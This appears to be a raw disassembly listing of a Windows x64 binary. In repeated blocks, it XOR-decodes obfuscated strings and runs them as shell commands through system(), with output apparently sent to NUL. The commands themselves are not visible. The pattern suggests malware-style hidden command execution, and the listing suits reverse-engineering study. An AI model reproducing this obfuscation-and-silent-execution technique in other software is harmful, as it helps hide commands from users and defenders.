lea rcx, [rbp + 0x13c0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x13e0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x13e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x13c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x13a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1380]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1360]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1340]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1400]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x1420]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4b68]
lea rcx, [rsp + 0x45]
call fcn.14001f060
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000c975
mov r8d, ebx
cmp r14d, 2
jl 0x14000c933
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000c840
cmp r8d, 0x2d
jge 0x14000c975
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000c940
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1440]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x1460]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1480]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x14a0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x14a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1480]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1460]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1440]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1420]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1400]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x14c0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x14e0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4ec8]
lea rcx, [rsp + 0x46]
call fcn.14001f0a0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000cbc5
mov r8d, ebx
cmp r14d, 2
jl 0x14000cb83
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000ca90
cmp r8d, 0x2d
jge 0x14000cbc5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000cb90
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1500]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x1520]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1540]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1560]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1560]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1540]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1520]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1500]
call fcn.140022f30
nop
lea rcx, [rbp + 0x14e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x14c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1580]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x15a0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4ef8]
lea rcx, [rsp + 0x47]
call fcn.14001f0e0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000ce15
mov r8d, ebx
cmp r14d, 2
jl 0x14000cdd3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000cce0
cmp r8d, 0x2d
jge 0x14000ce15
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000cde0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x15c0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x15e0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1600]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1620]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1620]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1600]
call fcn.140022f30
nop
lea rcx, [rbp + 0x15e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x15c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x15a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1580]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1640]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x1660]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4f28]
lea rcx, [rsp + 0x48]
call fcn.14001f120
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000d065
mov r8d, ebx
cmp r14d, 2
jl 0x14000d023
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000cf30
cmp r8d, 0x2d
jge 0x14000d065
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000d030
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1680]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x16a0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x16c0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x16e0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x16e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x16c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x16a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1680]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1660]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1640]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1700]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x1720]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4f58]
lea rcx, [rsp + 0x49]
call fcn.14001f160
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000d2b5
mov r8d, ebx
cmp r14d, 2
jl 0x14000d273
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000d180
cmp r8d, 0x2d
jge 0x14000d2b5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000d280
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1740]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1780]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x17a0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x17a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1780]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1760]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1740]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1720]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1700]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x17c0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x17e0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4f88]
lea rcx, [rsp + 0x4a]
call fcn.14001f1a0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000d505
mov r8d, ebx
cmp r14d, 2
jl 0x14000d4c3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000d3d0
cmp r8d, 0x2d
jge 0x14000d505
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000d4d0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1800]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x1820]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1840]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1860]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1860]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1840]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1820]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1800]
call fcn.140022f30
nop
lea rcx, [rbp + 0x17e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x17c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1880]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x18a0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4fb8]
lea rcx, [rsp + 0x4b]
call fcn.14001f1e0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000d755
mov r8d, ebx
cmp r14d, 2
jl 0x14000d713
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000d620
cmp r8d, 0x2d
jge 0x14000d755
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000d720
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x18c0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x18e0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1900]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1920]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1920]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1900]
call fcn.140022f30
nop
lea rcx, [rbp + 0x18e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x18c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x18a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1880]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1940]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x1960]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4fe8]
lea rcx, [rsp + 0x4c]
call fcn.14001f220
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000d9a5
mov r8d, ebx
cmp r14d, 2
jl 0x14000d963
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000d870
cmp r8d, 0x2d
jge 0x14000d9a5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000d970
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1980]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x19a0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x19c0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x19e0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x19e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x19c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x19a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1980]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1960]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1940]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1a00]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x1a20]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5018]
lea rcx, [rsp + 0x4d]
call fcn.14001f260
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000dbf5
mov r8d, ebx
cmp r14d, 2
jl 0x14000dbb3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000dac0
cmp r8d, 0x2d
jge 0x14000dbf5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
